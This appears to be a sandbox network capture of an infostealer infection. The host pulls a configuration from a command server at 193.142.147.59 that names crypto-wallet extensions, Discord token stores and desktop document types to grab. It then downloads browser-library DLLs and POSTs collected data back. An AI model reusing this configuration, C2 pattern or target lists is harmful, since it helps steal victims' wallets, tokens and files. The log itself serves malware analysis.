Aug 13, 2024 10:21:11.287282944 CEST	1236	IN	Data Raw: 2f 61 4e 37 6a 44 30 71 4f 36 6b 54 35 62 4b 35 62 51 34 65 52 38 66 45 31 78 50 37 68 4c 32 76 4b 2f 6d 73 76 63 70 31 34 30 2e 64 6c 6c 0a 6c 69 62 73 5f 76 63 72 75 6e 74 69 6d 65 31 34 30 3a 68 74 74 70 3a 2f 2f 31 39 33 2e 31 34 32 2e 31 34 Data Ascii: /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dlllibs_vcruntime140:http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dlllibs_mozglue:http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dlllibs_freebl3:http://193.14
Aug 13, 2024 10:21:11.287301064 CEST	1236	IN	Data Raw: 78 65 64 44 42 2a 0a 77 6c 74 73 5f 67 72 65 65 6e 3a 42 6c 6f 63 6b 73 74 72 65 61 6d 47 72 65 65 6e 3b 32 38 3b 42 6c 6f 63 6b 73 74 72 65 61 6d 5c 47 72 65 65 6e 3b 2a 3b 63 61 63 68 65 2c 67 64 6b 2c 2a 6c 6f 67 73 2a 0a 77 6c 74 73 5f 6c 65 Data Ascii: xedDBwlts_green:BlockstreamGreen;28;Blockstream\Green;;cache,gdk,logswlts_ledger:Ledger Live;26;Ledger Live;;cache,dictionar,sqlite*ews_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settingsews_meta:nkbihfbeogaea
Aug 13, 2024 10:21:11.288353920 CEST	1236	IN	Data Raw: 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 74 65 7a 62 6f 78 3a 6d 6e 66 69 66 65 66 6b 61 6a 67 6f 66 6b 63 6a 6b 65 6d 69 64 69 61 65 63 6f 63 6e 6b 6a 65 68 3b 54 65 7a 42 6f 78 3b 4c 6f 63 61 6c 20 45 78 74 Data Ascii: al Extension Settingsews_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settingsews_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settingsews_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Se
Aug 13, 2024 10:21:11.288369894 CEST	896	IN	Data Raw: 70 65 62 6b 6c 6d 6e 6b 6f 65 6f 69 68 6f 66 65 63 3b 54 72 6f 6e 4c 69 6e 6b 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 69 6f 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 62 72 61 76 65 3a 6f 64 62 66 70 65 65 69 68 64 6b 62 69 68 6d 6f 70 6b 62 6a Data Ascii: pebklmnkoeoihofec;TronLink;Local Extension Settingsews_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settingsews_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settingsews_ronin_e:kjmoohlgokccodicjjfebfomlbl
Aug 13, 2024 10:21:11.289535046 CEST	1236	IN	Data Raw: 65 77 73 5f 6a 61 78 78 6c 69 62 65 72 74 79 65 78 74 3a 63 6a 65 6c 66 70 6c 70 6c 65 62 64 6a 6a 65 6e 6c 6c 70 6a 63 62 6c 6d 6a 6b 66 63 66 66 6e 65 3b 4a 61 78 78 4c 69 62 65 72 74 79 45 78 74 65 6e 73 69 6f 6e 3b 4c 6f 63 61 6c 20 45 78 74 Data Ascii: ews_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settingsews_enkrypt:kkpllkodjeloidieedojogacfhpaihoh;Enkrypt;Local Extension Settingsews_gamestop:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop Wallet;Local
Aug 13, 2024 10:21:11.289551020 CEST	1236	IN	Data Raw: 6e 20 53 65 74 74 69 6e 67 73 0a 65 77 73 5f 73 65 6e 64 65 72 5f 63 3a 65 70 61 70 69 68 64 70 6c 61 6a 63 64 6e 6e 6b 64 65 69 61 68 6c 67 69 67 6f 66 6c 6f 69 62 67 3b 53 65 6e 64 65 72 57 61 6c 6c 65 74 3b 4c 6f 63 61 6c 20 45 78 74 65 6e 73 Data Ascii: n Settingsews_sender_c:epapihdplajcdnnkdeiahlgigofloibg;SenderWallet;Local Extension Settingsews_hashpack_c:gjagmgiddbbciopjhllkdnddhcglnemk;Hashpack;Local Extension Settingsews_ever_c:cgeeodpfagjceefieflmdfphplkenlfk;EVER;Local Extension S
Aug 13, 2024 10:21:11.289572001 CEST	583	IN	Data Raw: 78 65 0a 64 73 63 72 64 5f 44 69 73 63 6f 72 64 3a 64 69 73 63 6f 72 64 5c 4c 6f 63 61 6c 20 53 74 6f 72 61 67 65 5c 6c 65 76 65 6c 64 62 7c 2a 2e 6c 6f 67 2c 2a 2e 6c 64 62 7c 2d 0a 67 72 62 72 5f 44 65 73 6b 74 6f 70 3a 25 55 53 45 52 50 52 4f Data Ascii: xedscrd_Discord:discord\Local Storage\leveldb\|.log,.ldb\|-grbr_Desktop:%USERPROFILE%\Desktop\\|.txt,.doc,.docx,.xls,.csv,.jpg,.json,.odt,.html,.dat,.pdf,.rtf,.tiff\|recycle,windows*\|50\|1\|1\|filesgrbr_Documents:%USERPROFILE%\Do
Aug 13, 2024 10:21:11.529520035 CEST	176	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:11.766478062 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:11 GMT Content-Type: application/octet-stream Content-Length: 2042296 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:48 GMT ETag: "62548404-1f29b8" Expires: Tue, 13 Aug 2024 08:51:11 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!&`@A!\T@@xPhh\!@.texti `.rdata@@.dataN*@.00cfg0@@.rsrcx@@@.relochP@B
Aug 13, 2024 10:21:11.766721964 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: USWV]u~t@p0W~1HFDtx0W1^_[]1H
Aug 13, 2024 10:21:11.766735077 CEST	1236	IN	Data Raw: 16 bf d6 e8 ff ff e9 3e fc ff ff 81 fe d4 00 00 00 0f 84 f2 fe ff ff bf 96 e8 ff ff e9 28 fc ff ff bf ae e8 ff ff e9 1e fc ff ff bf cd e8 ff ff e9 14 fc ff ff cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 8b 45 08 8b 00 8b 48 20 ff 15 00 30 1e 10 Data Ascii: >(UEH 0]U]UWVE1L$s2MUu\|$WNPWRq8Gt34$\|$jh1NL$1pe^_]x
Aug 13, 2024 10:21:11.767812014 CEST	1236	IN	Data Raw: b1 5c 01 00 00 76 18 39 b1 54 01 00 00 0f 86 a2 00 00 00 39 b1 58 01 00 00 0f 86 b9 02 00 00 8b 0d 4c e0 1d 10 ff 15 00 30 1e 10 56 ff d1 8b 4d ec 83 c4 04 89 c7 c1 ff 1f 0f b7 89 2c 01 00 00 31 d2 39 c1 19 fa 8b 4d ec 8d 91 2c 01 00 00 89 55 dc Data Ascii: \v9T9XL0VM,19M,Ur{=w+PtP8LHuD@;H,E1f,w(ySuW/
Aug 13, 2024 10:21:13.488308907 CEST	180	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:13.711020947 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:13 GMT Content-Type: application/octet-stream Content-Length: 449280 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:42 GMT ETag: "625483fe-6db00" Expires: Tue, 13 Aug 2024 08:51:13 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL(["!(`@@Agr?=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 13, 2024 10:21:14.055274963 CEST	184	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:14.251427889 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:14 GMT Content-Type: application/octet-stream Content-Length: 80128 Connection: keep-alive Last-Modified: Sat, 28 May 2022 21:52:46 GMT ETag: "629299ae-13900" Expires: Tue, 13 Aug 2024 08:51:14 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 95 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 74 28 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL(["!0t(@A? 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 13, 2024 10:21:14.382047892 CEST	179	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:14.606959105 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:14 GMT Content-Type: application/octet-stream Content-Length: 627128 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:36 GMT ETag: "625483f8-991b8" Expires: Tue, 13 Aug 2024 08:51:14 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d4 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 18 08 00 00 56 01 00 00 00 00 00 b0 2f 04 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 09 00 00 04 00 00 ed ee 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 ad bc 08 00 63 51 00 00 10 0e 09 00 2c 01 00 00 00 70 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 72 09 00 b8 1f 00 00 00 80 09 00 34 43 00 00 1c b0 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 57 08 00 18 00 00 00 68 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 13 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL9b"!V/@AcQ,pr4CWh0.text `.rdata0@@.data0@.00cfgP @@.tls`"@.rsrcp$@@.reloc4CD.@B
Aug 13, 2024 10:21:14.992336035 CEST	179	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:15.217626095 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:15 GMT Content-Type: application/octet-stream Content-Length: 684984 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:40:08 GMT ETag: "62548418-a73b8" Expires: Tue, 13 Aug 2024 08:51:15 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 26 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 1a 08 00 00 36 02 00 00 00 00 00 b0 1f 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 e0 0a 00 00 04 00 00 e9 81 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 34 2c 0a 00 53 00 00 00 87 2c 0a 00 c8 00 00 00 00 a0 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 54 0a 00 b8 1f 00 00 00 b0 0a 00 38 24 00 00 84 26 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 30 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 94 2e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL&9b"!6@A4,S,xT8$&0.D.text `.rdata0@@.data<F@&@.00cfg(@@.rsrcx*@@.reloc8$&.@B
Aug 13, 2024 10:21:15.692881107 CEST	180	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:15.904851913 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:15 GMT Content-Type: application/octet-stream Content-Length: 254392 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 19:39:58 GMT ETag: "6254840e-3e1b8" Expires: Tue, 13 Aug 2024 08:51:15 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 27 f2 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f2 00 00 00 00 00 00 80 ce 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 a1 de 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 74 76 03 00 53 01 00 00 c7 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c2 03 00 b8 1f 00 00 00 c0 03 00 98 35 00 00 68 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 44 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL'9b"!@AtvSw5hqD{.textV `.rdata@@.data~@.00cfg@@.rsrc@@.reloc56@B
Aug 13, 2024 10:21:16.054637909 CEST	179	OUT	GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1 Content-Type: text/plain; User-Agent: Xmlst Host: 193.142.147.59 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:16.293979883 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:16 GMT Content-Type: application/octet-stream Content-Length: 1099223 Connection: keep-alive Last-Modified: Mon, 11 Apr 2022 17:28:56 GMT ETag: "62546558-10c5d7" Expires: Tue, 13 Aug 2024 08:51:16 GMT Cache-Control: max-age=1800 Cache-Control: public Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 22 a9 2c 62 00 76 0e 00 b2 13 00 00 e0 00 06 21 0b 01 02 19 00 0c 0b 00 00 fa 0c 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 20 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 10 0f 00 00 06 00 00 c8 9d 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 b0 0c 00 6e 2a 00 00 00 e0 0c 00 d0 0c 00 00 00 10 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0d 00 e0 3b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL",bv! a n* ;.text`P`.data\|' (@`.rdataDPF:@`@.bss(`.edatan*,@0@.idata@0.CRT,@0.tls @0.rsrc@0.reloc; <@0B/48`@@B/19Rp@B/31]'@(
Aug 13, 2024 10:21:17.596425056 CEST	238	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=JOM45N69v38Jyaj7 User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 1250 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:17.806936979 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:17 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 13, 2024 10:21:18.273808002 CEST	237	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=k0Q8kFO1SL9Nyh63 User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 964 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:18.613873005 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 13, 2024 10:21:20.839278936 CEST	239	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=lmKl120n7v7tF4nI User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 21367 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:21.140971899 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
Aug 13, 2024 10:21:21.473237038 CEST	239	OUT	POST /098e00d7c477aadee19feb075a6b5030 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=Kx802RWF7ACb1CFq User-Agent: Xmlst Host: 193.142.147.59 Content-Length: 21403 Connection: Keep-Alive Cache-Control: no-cache
Aug 13, 2024 10:21:21.713131905 CEST	972	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 13 Aug 2024 08:21:21 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive Content-Security-Policy: default-src 'self';base-uri 'self';block-all-mixed-content;font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin X-DNS-Prefetch-Control: off Expect-CT: max-age=0 X-Frame-Options: SAMEORIGIN Strict-Transport-Security: max-age=15552000; includeSubDomains X-Download-Options: noopen X-Content-Type-Options: nosniff Origin-Agent-Cluster: ?1 X-Permitted-Cross-Domain-Policies: none Referrer-Policy: no-referrer X-XSS-Protection: 0 ETag: W/"8-OEKKaYqxIiVAaA56t44dc56a/Rw" Data Raw: 72 65 63 65 69 76 65 64 Data Ascii: received
